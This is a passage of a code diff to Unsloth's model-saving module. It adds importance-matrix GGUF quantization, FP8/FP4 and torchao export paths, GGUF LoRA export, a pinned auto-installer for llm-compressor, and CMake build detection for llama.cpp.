     # output/token-embedding tensors kept at q8_0 for higher precision.
     command = [
         str(quantizer_location),
+        *(["--imatrix", str(imatrix)] if imatrix else []),
         "--output-tensor-type",
         "q8_0",
         "--token-embedding-type",
@@ -475,6 +652,17 @@ def _is_qwen3_5_vlm(model):
     ) or getattr(config, "model_type", None) in ("qwen3_5", "qwen3_5_moe")
 
 
+def _is_gpt_oss(model):
+    config = getattr(model, "config", None)
+    if config is None:
+        return False
+    architectures = getattr(config, "architectures", None) or ()
+    return "GptOssForCausalLM" in architectures or getattr(config, "model_type", None) in (
+        "gpt-oss",
+        "gpt_oss",
+    )
+
+
 def _qwen3_5_vlm_state_dict_for_save(state_dict):
     remapped_state_dict = {}
     for key, value in state_dict.items():
@@ -1179,14 +1367,27 @@ def install_llama_cpp_make_non_blocking():
     # https://github.com/ggerganov/llama.cpp/issues/7062
     # Weirdly GPU conversion for GGUF breaks??
     # env = { **os.environ, "LLAMA_CUDA": "1", }
-    # Force make clean
-    check = os.system("make clean -C llama.cpp")
-    IS_CMAKE = False
-    if check == 0:
+
+    # Skip the make-clean probe on CMake-only checkouts (its error output is misleading)
+    IS_CMAKE = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not IS_CMAKE:
+        # Confirm make still works, silently
+        try:
+            result = subprocess.run(
+                ["make", "clean", "-C", "llama.cpp"],
+                stdout = subprocess.DEVNULL,
+                stderr = subprocess.DEVNULL,
+            )
+            IS_CMAKE = result.returncode != 0
+        except FileNotFoundError:
+            # No make executable; use CMake
+            IS_CMAKE = True
+
+    if not IS_CMAKE:
         # Uses old MAKE
         n_jobs = max(int((psutil.cpu_count() or 1) * 1.5), 1)
         full_command = ["make", "all", "-j" + str(n_jobs), "-C", "llama.cpp"]
-        IS_CMAKE = False
     else:
         # Uses new CMAKE
         n_jobs = max(int(psutil.cpu_count() or 1), 1)  # Use less CPUs since 1.5x faster
@@ -1209,7 +1410,6 @@ def install_llama_cpp_make_non_blocking():
             "--clean-first",
             "--target",
         ] + LLAMA_CPP_TARGETS
-        IS_CMAKE = True
     # https://github.com/ggerganov/llama.cpp/issues/7062
     # Weirdly GPU conversion for GGUF breaks??
     # run_installer = subprocess.Popen(full_command, env = env, stdout = subprocess.DEVNULL, stderr = subprocess.STDOUT)
@@ -1227,6 +1427,158 @@ def install_python_non_blocking(packages = []):
     return run_installer
 
 
+# Bound the first-use auto-install so no unvetted release is pulled: not an inflated "0.999.0", nor
+# a crafted higher in-range patch like "0.12.999" from a mirror. Cap to the exact vetted patch and
+# bump deliberately. Floor 0.6.0 keeps torch>=2.4 resolvable (0.7+ need torch>=2.7; torch pinned below).
+_LLM_COMPRESSOR_SPEC = "llmcompressor>=0.6.0,<=0.12.0"
+
+# Highest transformers release llm-compressor 0.10.x/0.12.x can run against (its metadata pins
+# transformers<=4.57.6). Models that require a newer-transformers sidecar (e.g. Qwen3.5 needs
+# transformers 5.3.0) cannot be quantized by llm-compressor at all: it imports
+# transformers.modeling_utils.TORCH_INIT_FUNCTIONS, which was removed in transformers 5.x, so the
+# compressed-export subprocess dies with a cryptic ImportError AFTER the expensive 16bit merge.
+# Detect that up front and fail fast with an actionable message. Bump this in lockstep with a
+# llm-compressor release that supports newer transformers.
+_LLM_COMPRESSOR_MAX_TRANSFORMERS = "4.57.6"
+
+
+def _transformers_exceeds_llm_compressor_ceiling(transformers_version = None):
+    """Return (exceeds, active_version) comparing the active transformers to the llm-compressor ceiling.
+
+    `exceeds` is True only when we can parse both versions and the active transformers is strictly
+    newer than `_LLM_COMPRESSOR_MAX_TRANSFORMERS`. Any parse failure returns False (fail open) so a
+    real quantization attempt still surfaces the underlying error rather than a false positive.
+    """
+    if transformers_version is None:
+        try:
+            import transformers as _tf
+            transformers_version = _tf.__version__
+        except Exception:
+            return False, "unknown"
+    try:
+        from packaging.version import parse as _parse
+
+        # Drop any local build suffix ("4.57.6+abc") so it does not skew the comparison.
+        active = _parse(str(transformers_version).split("+", 1)[0])
+        ceiling = _parse(_LLM_COMPRESSOR_MAX_TRANSFORMERS)
+        return active > ceiling, str(transformers_version)
+    except Exception:
+        return False, str(transformers_version)
+
+
+# A caller (e.g. Unsloth Studio) can enable FP8/FP4 export of newer-transformers models (Qwen3.5,
+# Gemma-4, ...) by provisioning a dedicated llm-compressor-main "shadow" (transformers>=5.9 layered
+# over the existing torch) and pointing us at its sys.path entry via this env var. When set, the
+# quantization subprocess uses it instead of the workspace llm-compressor and the ceiling fail-fast
+# is bypassed.
+_COMPRESSED_QUANTIZE_PYTHONPATH_ENV = "UNSLOTH_COMPRESSED_QUANTIZE_PYTHONPATH"
+
+
+def _compressed_quantize_pythonpath():
+    """Return the llm-compressor-main shadow PYTHONPATH, or None if not set."""
+    pp = os.environ.get(_COMPRESSED_QUANTIZE_PYTHONPATH_ENV, "").strip()
+    return pp or None
+
+
+def install_llm_compressor():
+    """Import llm-compressor, installing it on first use for FP8/FP4 export.
+
+    Installs a version-pinned llm-compressor, pinning the current torch + transformers so pip does
+    not upgrade them. Set UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL=1 to forbid the auto-install.
+    Returns (oneshot, QuantizationModifier).
+    """
+    try:
+        from llmcompressor import oneshot
+        from llmcompressor.modifiers.quantization import QuantizationModifier
+        return oneshot, QuantizationModifier
+    except Exception:
+        pass
+
+    # Opt-out for locked-down / air-gapped setups: forbid the auto-install, require a manual one.
+    if os.environ.get("UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL", "0").lower() not in (
+        "0",
+        "",
+        "false",
+        "no",
+    ):
+        raise RuntimeError(
+            "Unsloth: llm-compressor is required for FP8/FP4 compressed export but is not "
+            "installed, and automatic installation is disabled via "
+            "UNSLOTH_DISABLE_LLM_COMPRESSOR_AUTOINSTALL. Install it manually with:\n"
+            f"    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them)."
+        )
+
+    print(
+        "Unsloth: Installing llm-compressor for FP8/FP4 export "
+        f"({_LLM_COMPRESSOR_SPEC}; pinning your torch + transformers so they are not upgraded). "
+        "This can take a few minutes..."
+    )
+    import importlib
+    import tempfile
+
+    constraints = ""
+    try:
+        import torch as _torch
+        constraints += f"torch=={_torch.__version__.split('+')[0]}\n"
+    except Exception:
+        pass
+    try:
+        import transformers as _tf
+        constraints += f"transformers=={_tf.__version__}\n"
+    except Exception:
+        pass
+
+    # Prefer pip, but fall back to uv when this interpreter has no pip seeded (common in
+    # uv-created / relocatable venvs), so the export does not hard-fail with "No module named pip".
+    import importlib.util
+
+    if importlib.util.find_spec("pip") is not None:
+        cmd = [sys.executable, "-m", "pip", "install", _LLM_COMPRESSOR_SPEC]
+    elif shutil.which("uv") is not None:
+        cmd = ["uv", "pip", "install", "--python", sys.executable, _LLM_COMPRESSOR_SPEC]
+    else:
+        raise RuntimeError(
+            "Unsloth: cannot install llm-compressor because this environment has neither pip nor "
+            f"uv. Install it manually with:\n    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them)."
+        )
+    cpath = None
+    if constraints:
+        with tempfile.NamedTemporaryFile("w", suffix = ".txt", delete = False) as f:
+            f.write(constraints)
+            cpath = f.name
+        cmd += ["-c", cpath]
+    try:
+        subprocess.check_call(cmd)
+    except subprocess.CalledProcessError as e:
+        raise RuntimeError(
+            "Unsloth: Failed to install llm-compressor. Install it manually with:\n"
+            f"    uv pip install --python {sys.executable} '{_LLM_COMPRESSOR_SPEC}'\n"
+            f"or, if pip is available:\n    {sys.executable} -m pip install '{_LLM_COMPRESSOR_SPEC}'\n"
+            "(pin torch and transformers to your current versions to avoid upgrading them).\n"
+            f"Underlying error: {e}"
+        )
+    finally:
+        if cpath is not None:
+            try:
+                os.remove(cpath)
+            except Exception:
+                pass
+
+    importlib.invalidate_caches()
+    try:
+        from llmcompressor import oneshot
+        from llmcompressor.modifiers.quantization import QuantizationModifier
+    except Exception as e:
+        raise RuntimeError(
+            "Unsloth: llm-compressor was installed but could not be imported. "
+            "Please restart your Python session and try again.\n"
+            f"Underlying error: {repr(e)}"
+        )
+    return oneshot, QuantizationModifier
+
+
 def try_execute(commands, force_complete = False):
     for command in commands:
         with subprocess.Popen(
@@ -1295,20 +1647,25 @@ def install_llama_cpp_old(version = -10):
     ]
     try_execute(commands)
 
-    # Try using MAKE
-    commands = [
-        "make clean -C llama.cpp",
-        f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-    ]
-    if try_execute(commands) == "CMAKE":
-        # Instead use CMAKE
+    # Detect CMake-only build system before trying make
+    use_cmake = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not use_cmake:
+        # Try using MAKE
+        commands = [
+            "make clean -C llama.cpp",
+            f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+        ]
+        use_cmake = try_execute(commands) == "CMAKE"
+
+    if use_cmake:
+        # Use CMAKE
         commands = [
             f"cmake llama.cpp -B llama.cpp/build -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=OFF {CURL_FLAG}",
             f"cmake --build llama.cpp/build --config Release -j{(psutil.cpu_count() or 1)*2} --clean-first --target {' '.join(LLAMA_CPP_TARGETS)}",
             "cp llama.cpp/build/bin/llama-* llama.cpp",
             "rm -rf llama.cpp/build",
         ]
-
         try_execute(commands)
 
     # Check if successful
@@ -1340,15 +1697,21 @@ def install_llama_cpp_blocking(use_cuda = False):
         return
     try_execute(commands)
 
-    commands = [
-        "make clean -C llama.cpp",
-        # https://github.com/ggerganov/llama.cpp/issues/7062
-        # Weirdly GPU conversion for GGUF breaks??
-        # f"{use_cuda} make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-        f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
-    ]
-    if try_execute(commands) == "CMAKE":
-        # Instead use CMAKE
+    # Detect CMake-only build system before trying make
+    use_cmake = _is_cmake_only_llama_cpp("llama.cpp")
+
+    if not use_cmake:
+        commands = [
+            "make clean -C llama.cpp",
+            # https://github.com/ggerganov/llama.cpp/issues/7062
+            # Weirdly GPU conversion for GGUF breaks??
+            # f"{use_cuda} make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+            f"make all -j{(psutil.cpu_count() or 1)*2} -C llama.cpp",
+        ]
+        use_cmake = try_execute(commands) == "CMAKE"
+
+    if use_cmake:
+        # Use CMAKE
         commands = [
             f"cmake llama.cpp -B llama.cpp/build -DBUILD_SHARED_LIBS=OFF -DGGML_CUDA=OFF {CURL_FLAG}",
             f"cmake --build llama.cpp/build --config Release -j{(psutil.cpu_count() or 1)*2} --clean-first --target {' '.join(LLAMA_CPP_TARGETS)}",
@@ -1381,10 +1744,13 @@ def save_to_gguf(
     first_conversion: str = None,
     is_vlm: bool = False,
     is_gpt_oss: bool = False,
+    imatrix = None,
 ):
     """
     Orchestrates the complete GGUF conversion process.
     Handles installation, conversion, and quantization.
+    `imatrix` is a local importance-matrix path (already resolved); it is forwarded to
+    llama-quantize and is required for the IQ low-bit quant types.
     """
     # print_output True only if UNSLOTH_ENABLE_LOGGING=1
     if os.environ.get("UNSLOTH_ENABLE_LOGGING", "0") == "1":
@@ -1420,11 +1786,15 @@ def save_to_gguf(
     if first_conversion is None:
         first_conversion = model_dtype
 
-    # Check I quants
-    for quant_method in quantization_method:
-        if quant_method.startswith("iq2"):
+    has_imatrix = imatrix is not None and str(imatrix) != ""
+    if has_imatrix:
+        # quantize_gguf gained the imatrix kwarg in a recent unsloth_zoo; fail fast (before the
+        # expensive conversion) if the installed version cannot apply it, rather than dropping it.
+        import inspect
+        if "imatrix" not in inspect.signature(quantize_gguf).parameters:
             raise RuntimeError(
-                "Unsloth: Currently iq2 type quantizations aren't supported yet - sorry!"
+                "Unsloth: your installed unsloth_zoo's quantize_gguf does not support imatrix.\n"
+                "Please upgrade it:  uv pip install --upgrade unsloth_zoo"
             )
 
     # Map quant methods
@@ -1439,11 +1809,20 @@ def save_to_gguf(
         elif quant_method is None:
             quant_method = "q8_0"
 
-        # Check if wrong method
-        if quant_method not in ALLOWED_QUANTS.keys():
+        # IQ low-bit quants are only valid with an imatrix; other methods use the normal allow-list.
+        if quant_method in IMATRIX_QUANTS:
+            if not has_imatrix:
+                raise RuntimeError(
+                    f"Unsloth: quant method '{quant_method}' is an IQ low-bit quant that requires an "
+                    "importance matrix. Pass imatrix_file=True (to fetch the upstream Unsloth imatrix) "
+                    "or imatrix_file='/path/to/imatrix' to save_pretrained_gguf / push_to_hub_gguf."
+                )
+        elif quant_method not in ALLOWED_QUANTS.keys():
             error = f"Unsloth: Quant method = [{quant_method}] not supported. Choose from below:\n"
             for key, value in ALLOWED_QUANTS.items():
                 error += f"[{key}] => {value}\n"
+            for key, value in IMATRIX_QUANTS.items():
+                error += f"[{key}] => {value} (needs imatrix_file)\n"
             raise RuntimeError(error)
 
         new_quantization_methods.append(quant_method)
@@ -1597,16 +1976,22 @@ def save_to_gguf(
                             quantizer_location = quantizer_location,
                             n_threads = n_cpus,
                             print_output = print_output,
+                            imatrix = imatrix,
                         )
                     else:
-                        # Use unsloth-zoo's standard quantization for all other methods
-                        quantized_file = quantize_gguf(
+                        # Use unsloth-zoo's standard quantization for all other methods. Only pass
+                        # imatrix when set so older unsloth_zoo (no imatrix kwarg) still works for
+                        # plain quants; an imatrix that cannot be applied was rejected above.
+                        quant_kwargs = dict(
                             input_gguf = base_gguf,
                             output_gguf = output_location,
                             quant_type = quant_method,
                             quantizer_location = quantizer_location,
                             print_output = print_output,
                         )
+                        if has_imatrix:
+                            quant_kwargs["imatrix"] = imatrix
+                        quantized_file = quantize_gguf(**quant_kwargs)
                     all_saved_locations.append(quantized_file)
                     quants_created = True
                 except Exception as e:
@@ -1694,6 +2079,9 @@ def unsloth_save_pretrained_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .save_pretrained(...) except 4bit weights are auto
@@ -1703,6 +2091,9 @@ def unsloth_save_pretrained_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM (`fp8`, `mxfp4`, `nvfp4`, `mxfp8`): keeps the
+        16bit merge at `save_directory` and writes the quantized checkpoint to
+        `save_directory + "-<fmt>"`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -1710,9 +2101,76 @@ def unsloth_save_pretrained_merged(
             "You can do it separately via `tokenizer.save_pretrained(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = save_directory,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = push_to_hub,
+            token = token,
+            is_main_process = is_main_process,
+            # Forward standard save kwargs to the 16bit merge.
+            state_dict = state_dict,
+            save_function = save_function,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            variant = variant,
+            save_peft_format = save_peft_format,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     del arguments["self"]
+    del arguments["_compressed"]
+    del arguments["_torchao"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_save_model(**arguments)
     for _ in range(3):
         gc.collect()
@@ -1722,7 +2180,7 @@ def unsloth_push_to_hub_merged(
     self,
     repo_id: str,
     tokenizer = None,
-    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit"]
+    save_method: str = "merged_16bit",  # ["lora", "merged_16bit", "merged_4bit", "fp8", "mxfp4", "nvfp4", "mxfp8"]
     use_temp_dir: Optional[bool] = None,
     commit_message: Optional[str] = "Trained with Unsloth",
     private: Optional[bool] = None,
@@ -1736,6 +2194,9 @@ def unsloth_push_to_hub_merged(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.75,
     datasets: Optional[List[str]] = None,
+    calibration_dataset = None,
+    num_calibration_samples: int = 512,
+    max_seq_length: int = 2048,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
@@ -1745,6 +2206,7 @@ def unsloth_push_to_hub_merged(
     1. `16bit`: Merge LoRA into float16 weights. Useful for GGUF / llama.cpp.
     2.  `4bit`: Merge LoRA into int4 weights. Useful for DPO / HF inference.
     3.  `lora`: Save LoRA adapters with no merging. Useful for HF inference.
+    4.  FP8 / FP4 compressed export for vLLM: `fp8`, `mxfp4`, `nvfp4`, `mxfp8`.
     """
     if tokenizer is None:
         logger.warning_once(
@@ -1752,12 +2214,82 @@ def unsloth_push_to_hub_merged(
             "You can do it separately via `tokenizer.push_to_hub(...)`"
         )
 
+    # FP8 / FP4 compressed-tensors export (llm-compressor) -> handled separately.
+    _compressed = _normalize_compressed_method(save_method)
+    if _compressed is not None:
+        scheme, needs_calibration, suffix = _compressed
+        _unsloth_save_compressed_tensors(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            scheme = scheme,
+            needs_calibration = needs_calibration,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            calibration_dataset = calibration_dataset,
+            num_calibration_samples = num_calibration_samples,
+            max_seq_length = max_seq_length,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
+    # torchao portable FP8/INT8 export (no NVIDIA GPU) -> separate path.
+    _torchao = _normalize_torchao_method(save_method)
+    if _torchao is not None:
+        kind, suffix = _torchao
+        _unsloth_save_torchao(
+            model = self,
+            save_directory = repo_id,
+            tokenizer = tokenizer,
+            kind = kind,
+            suffix = suffix,
+            push_to_hub = True,
+            token = token,
+            is_main_process = True,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+            # Forward standard save kwargs to the 16bit merge.
+            use_temp_dir = use_temp_dir,
+            max_shard_size = max_shard_size,
+            safe_serialization = safe_serialization,
+            tags = tags,
+            temporary_location = temporary_location,
+            maximum_memory_usage = maximum_memory_usage,
+            datasets = datasets,
+        )
+        for _ in range(3):
+            gc.collect()
+        return
+
     arguments = dict(locals())
     arguments["model"] = self
     arguments["save_directory"] = repo_id
     arguments["push_to_hub"] = True
     del arguments["self"]
     del arguments["repo_id"]
+    del arguments["_compressed"]
+    del arguments["_torchao"]
+    del arguments["calibration_dataset"]
+    del arguments["num_calibration_samples"]
+    del arguments["max_seq_length"]
     unsloth_save_model(**arguments)
     for _ in range(3):
         gc.collect()
@@ -2169,11 +2701,17 @@ def unsloth_save_pretrained_gguf(
     tags: List[str] = None,
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
+    save_method: str = None,
+    imatrix_file = None,
 ):
     """
     Same as .save_pretrained(...) except 4bit weights are auto
     converted to float16 then converted to GGUF / llama.cpp format.
 
+    imatrix_file: importance matrix for llama-quantize. None = off; a path = use that file
+    (a *.gguf_file is renamed to *.gguf); True = download the upstream unsloth/<base>-GGUF
+    imatrix. Required for the IQ low-bit quants (iq2_xxs, iq4_xs, ...).
+
     Choose for `quantization_method` to be:
     "not_quantized"  : "Recommended. Fast conversion. Slow inference, big files.",
     "fast_quantized" : "Recommended. Fast conversion. OK inference, OK file size.",
@@ -2207,6 +2745,30 @@ def unsloth_save_pretrained_gguf(
     if isinstance(tokenizer, (PreTrainedTokenizerBase, ProcessorMixin)):
         tokenizer = patch_saving_functions(tokenizer)
 
+    # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
+    if save_method is not None and str(save_method).lower() == "lora":
+        if not is_main_process:
+            return None
+        if push_to_hub:
+            raise ValueError(
+                "Unsloth: Please use .push_to_hub_gguf(save_method='lora') instead of "
+                ".save_pretrained_gguf(save_method='lora', push_to_hub=True)."
+            )
+        _qm = quantization_method
+        if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
+            _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
+        if _qm in _LORA_GGUF_OUTTYPES:
+            _outtype = _qm
+        else:
+            if _qm not in (None, "fast_quantized"):
+                logger.warning_once(
+                    f"Unsloth: LoRA GGUF export does not support "
+                    f"quantization_method={quantization_method!r}; using outtype 'f16'. "
+                    f"Valid LoRA outtypes: {_LORA_GGUF_OUTTYPES}."
+                )
+            _outtype = "f16"
+        return _unsloth_save_lora_gguf(self, tokenizer, save_directory, outtype = _outtype)
+
     try:
         base_model_name = get_model_name(self.config._name_or_path, load_in_4bit = False)
         model_name = base_model_name.split("/")[-1]
@@ -2231,15 +2793,7 @@ def unsloth_save_pretrained_gguf(
 
     is_processor = is_vlm and isinstance(tokenizer, ProcessorMixin)
 
-    is_gpt_oss = (
-        True
-        if (
-            hasattr(self.config, "architectures")
-            and self.config.architectures == "GptOssForCausalLM"
-        )
-        or (hasattr(self.config, "model_type") and self.config.model_type in ["gpt-oss", "gpt_oss"])
-        else False
-    )
+    is_gpt_oss = _is_gpt_oss(self)
     # Step 2: Prepare arguments for model saving
     arguments = dict(locals())
     arguments["model"] = self
@@ -2272,6 +2826,7 @@ def unsloth_save_pretrained_gguf(
     del arguments["model_name"]
     del arguments["base_model_name"]
     del arguments["is_processor"]
+    del arguments["imatrix_file"]  # only used by the gguf quantize step, not the 16bit merge
 
     # Step 3: Fix tokenizer BOS token if needed
     if is_processor:
@@ -2279,6 +2834,11 @@ def unsloth_save_pretrained_gguf(
     else:
         fix_bos_token, old_chat_template = fix_tokenizer_bos_token(tokenizer)
 
+    # Resolve the importance matrix (download upstream / validate path / rename *.gguf_file) up
+    # front, so a bad path or an unavailable upstream imatrix fails before the expensive 16-bit
+    # merge, and a failed auto-resolution never reaches the IQ-quant gate.
+    imatrix_path = _resolve_imatrix_file(self, imatrix_file, token, save_directory)
+
     # Step 4: Save/merge model to 16-bit format
     is_peft_model = isinstance(self, PeftModelForCausalLM) or isinstance(self, PeftModel)
 
@@ -2366,15 +2926,16 @@ def unsloth_save_pretrained_gguf(
                 "Unsloth: quantization_method can only be a string or a list of strings"
             )
         for i, quant_method in enumerate(quantization_method):
-            quant_method = quant_method.lower()
+            if quant_method is None:
+                quant_method = "q8_0"
+            else:
+                quant_method = quant_method.lower()
             if quant_method == "not_quantized":
                 quant_method = "f16"
             elif quant_method == "fast_quantized":
                 quant_method = "q8_0"
             elif quant_method == "quantized":
                 quant_method = "q4_k_m"
-            elif quant_method is None:
-                quant_method = "q8_0"
             quantization_methods.append(quant_method.lower())
 
     try:
@@ -2394,6 +2955,7 @@ def unsloth_save_pretrained_gguf(
             first_conversion = first_conversion,
             is_vlm = is_vlm,  # Pass VLM flag
             is_gpt_oss = is_gpt_oss,  # Pass gpt_oss Flag
+            imatrix = imatrix_path,
         )
     except Exception as e:
         if IS_KAGGLE_ENVIRONMENT:
@@ -2490,11 +3052,16 @@ def unsloth_push_to_hub_gguf(
     temporary_location: str = "_unsloth_temporary_saved_buffers",
     maximum_memory_usage: float = 0.85,
     datasets: Optional[List[str]] = None,
+    save_method: str = None,
+    imatrix_file = None,
 ):
     """
     Same as .push_to_hub(...) except 4bit weights are auto
     converted to float16 then converted to GGUF / llama.cpp format.
 
+    imatrix_file: importance matrix for llama-quantize (None = off; a path; or True to download
+    the upstream unsloth/<base>-GGUF imatrix). Required for the IQ low-bit quants.
+
     Choose for `quantization_method` to be:
     "not_quantized"  : "Recommended. Fast conversion. Slow inference, big files.",
     "fast_quantized" : "Recommended. Fast conversion. OK inference, OK file size.",
@@ -2520,6 +3087,37 @@ def unsloth_push_to_hub_gguf(
     if tokenizer is None:
         raise ValueError("Unsloth: Saving to GGUF must have a tokenizer.")
 
+    # save_method="lora" exports the adapter itself as a GGUF LoRA (not a merged model).
+    if save_method is not None and str(save_method).lower() == "lora":
+        if not is_main_process:
+            return None  # only the main rank converts and uploads, like the local lora branch
+        _qm = quantization_method
+        if isinstance(_qm, (list, tuple)) and len(_qm) == 1:
+            _qm = _qm[0]  # the gguf API allows a list; unwrap a single outtype
+        if _qm in _LORA_GGUF_OUTTYPES:
+            _outtype = _qm
+        else:
+            if _qm not in (None, "fast_quantized"):
+                logger.warning_once(
+                    f"Unsloth: LoRA GGUF export does not support "
+                    f"quantization_method={quantization_method!r}; using outtype 'f16'. "
+                    f"Valid LoRA outtypes: {_LORA_GGUF_OUTTYPES}."
+                )
+            _outtype = "f16"
+        return _unsloth_save_lora_gguf(
+            self,
+            tokenizer,
+            repo_id,
+            outtype = _outtype,
+            push_to_hub = True,
+            token = token,
+            private = private,
+            commit_message = commit_message,
+            commit_description = commit_description,
+            create_pr = create_pr,
+            revision = revision,
+        )
+
     # Step 1: Determine save directory
     model_name = repo_id.split("/")[-1] if "/" in repo_id else repo_id
 
@@ -2545,11 +3143,12 @@ def unsloth_push_to_hub_gguf(
             quantization_method = quantization_method,
             first_conversion = first_conversion,
             push_to_hub = False,  # Never push from here
-            token = None,  # Don't need token for local save
+            token = token,  # forwarded so imatrix_file=True can read a gated/private upstream
             max_shard_size = max_shard_size,
             safe_serialization = safe_serialization,
             temporary_location = temporary_location,
             maximum_memory_usage = maximum_memory_usage,
+            imatrix_file = imatrix_file,
         )
 
         # Extract results
@@ -2773,93 +3372,302 @@ def save_lora_to_custom_dir(model, tokenizer, save_directory):
     )
 
 
-# Corrected method within the model class to convert LoRA to GGML and push to Hugging Face Hub
+# Valid output float types for llama.cpp's convert_lora_to_gguf.py.
+_LORA_GGUF_OUTTYPES = ("f32", "f16", "bf16", "q8_0", "auto")
+
+
+def _lora_base_model_id(model):
+    """Base model id for a PEFT model: prefer the active adapter's recorded base, else the
+    model config (the adapter's `base_model_name_or_path` is the authoritative source)."""
+    base = None
+    peft_config = getattr(model, "peft_config", None)
+    if isinstance(peft_config, dict) and peft_config:
+        adapter = getattr(model, "active_adapter", None)
+        if callable(adapter):
+            try:
+                adapter = adapter()
+            except Exception:
+                adapter = None
+        if isinstance(adapter, (list, tuple)):
+            adapter = adapter[0] if adapter else None
+        cfg = (
+            peft_config.get(adapter) if adapter in peft_config else next(iter(peft_config.values()))
+        )
+        base = getattr(cfg, "base_model_name_or_path", None)
+    if not base:
+        base = getattr(getattr(model, "config", None), "_name_or_path", None)
+    return os.fspath(base) if base else ""
+
+
+# Upstream Unsloth GGUF repos ship a calibration imatrix under one of these names; the GGUF-format
+# one is suffixed .gguf_file so the Hub does not list it as a model GGUF (renamed to .gguf locally).
+_IMATRIX_UPSTREAM_NAMES = ("imatrix_unsloth.dat", "imatrix_unsloth.gguf_file")
+
+
+def _gguf_repo_candidates(model):
+    """Ordered, de-duplicated unsloth/<base>-GGUF repo ids to search for an upstream imatrix."""
+    candidates = []
+    raw_names = [
+        _lora_base_model_id(model),
+        getattr(getattr(model, "config", None), "_name_or_path", None),
+    ]
+    for raw in raw_names:
+        if not raw:
+            continue
+        name = os.fspath(raw)
+        if os.path.isdir(name):
+            continue  # a local checkpoint has no upstream GGUF repo
+        try:
+            name = get_model_name(name, load_in_4bit = False)
+        except Exception:
+            pass
+        if not name:
+            continue
+        # The upstream imatrix lives in unsloth/<base>-GGUF, so map any org (e.g. meta-llama/...)
+        # onto the unsloth org; keep an already-formed -GGUF id as-is.
+        repo = name if name.endswith("-GGUF") else f"unsloth/{name.split('/')[-1]}-GGUF"
+        if repo not in candidates:
+            candidates.append(repo)
+    return candidates
+
+
+def _materialize_imatrix(path, dest_dir):
+    """Copy an imatrix into dest_dir (never mutate the HF cache) and rename *.gguf_file -> *.gguf."""
+    os.makedirs(dest_dir, exist_ok = True)
+    base = os.path.basename(path)
+    if base.endswith(".gguf_file"):
+        base = base[: -len(".gguf_file")] + ".gguf"
+    local = os.path.join(dest_dir, base)
+    shutil.copyfile(path, local)
+    return local
+
+
+def _resolve_imatrix_file(model, imatrix_file, token, dest_dir):
+    """Turn the public imatrix_file value into a local imatrix path (or None).
+
